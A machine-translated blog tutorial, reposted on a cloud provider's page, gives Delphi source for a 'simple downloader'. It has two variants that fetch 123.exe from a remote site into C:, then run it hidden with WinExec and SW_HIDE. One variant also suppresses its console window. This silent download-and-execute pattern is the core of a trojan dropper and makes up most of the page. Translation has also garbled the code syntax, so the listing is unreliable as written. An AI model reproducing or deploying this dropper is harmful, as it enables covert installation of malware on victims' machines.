Simple download by Delphi (not customizable)

Source: Internet
Author: User
Simple download by Delphi (not customizable)

By clin003 from: http://blog.csdn.net/clin003/ at 20070620

Objective:
1. Understand the loading process of the Dynamic Link Library
2. Understand the definition and use of function variables
3. Understand the Program Execution Mode
4. Understand the exception handling process
5. Transfer of function parameters
6. Use of the winexec Function

Environment:
Microsoft Windows Server 2003 R2 Enterprise Edition Service Pack 1
Delphi7

Program code comment:
Program project1;
{$ Apptype console} // Console mode
Uses
Windows;
VaR
Downfile: function (Caller: pointer; Url: pchar; filename: pchar; reserved: DWORD; statuscb: pointer): hresult; stdcall;
// Define a function variable
Hurlmon: thandle; // handle variable
Begin
// Try
By clin003 from: http://blog.csdn.net/clin003/ at 20070620
// The exception is handled. comment out the exception if necessary.
Hurlmon: = loadlibrary ('urlmon. dll '); // load the urlmon. dll dynamic Connection Library File
@ Downfile: = getprocaddress (hurlmon, 'urldownloadtofilea'); // obtain the URL of the urldownloadtofilea function.
Downfile (nil, pchar ('HTTP: // clin003.com/123.exe'), pchar ('C:/123.exe '), 0, nil); // call the urldownloadtofile function to execute
// Finally
Winexec ('C:/123.exe ', sw_hide); // execute the executable file we downloaded
// End;
End.

By clin003 from: http://blog.csdn.net/clin003/ at 20070620

/////////////////// The DOS box port does not exist below
Program project1;
{$ Imagebase $13140000} // non-box mode
// Below is almost the same.
Uses
Windows;
VaR
Downfile: function (Caller: pointer; Url: pchar; filename: pchar; reserved: longword; statuscb: pointer): hresult; stdcall;
Hurlmon: thandle;
Begin
// Try
Hurlmon: = loadlibrary ('urlmon. dll ');
@ Downfile: = getprocaddress (hurlmon, 'urldownloadtofilea ');
Downfile (nil, pchar ('HTTP: // clin003.com/123.exe'), pchar ('C:/123.exe '), 0, nil );
// Finally
Winexec ('C:/123.exe ', sw_hide );
// End;
End.

By clin003 from: http://blog.csdn.net/clin003/ at 20070620
//// // Winexec Function Description

Winexec Function
Function prototype: function winexec (
Lpcmdline: lpcstr; // contains the command line to be executed
Ucmdshow: uint // defines the constant value of the program to be started .);
): Uint; stdcall;

Parameter description:
Lpcstr lpcmdline: contains the command line to be executed.
The system searches for applications in the following scope:
1. application startup location
2. Current directory location
3. Windows System directory
4. Windows Directory
5. List of paths set in Path
By clin003 from: http://blog.csdn.net/clin003/ at 20070620
Unit ucmdshow: defines how to start a program's constant value. The details are as follows:
Sw_hide hides the window, and the activity status gives a window
Sw_minimize minimizes the window, and the active status gives a window
Sw_restore displays a window with the original size and position, and enables it to enter the active status.
Sw_show displays a window with the current size and position, and enables it to enter the active status.
Sw_showmaximized: Maximize the window and activate it.
Sw_showminimized minimizes the window and activates it.
Sw_showminnoactive minimizes a window without changing the activity window.
Sw_showna displays a window with the current size and position without changing the activity window.
Sw_shownoactivate displays a window with the latest size and position without changing the activity window.
Sw_shownormal is the same as sw_restore.
For example, start the abc.exe program under the current directory:
Winexec ("abc.exe", sw_show );
Note:
Winexec is a function compatible with Win16. Win32 applications can use the CreateProcess function or the ShellExecute Function. For more information, see the help documentation.
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.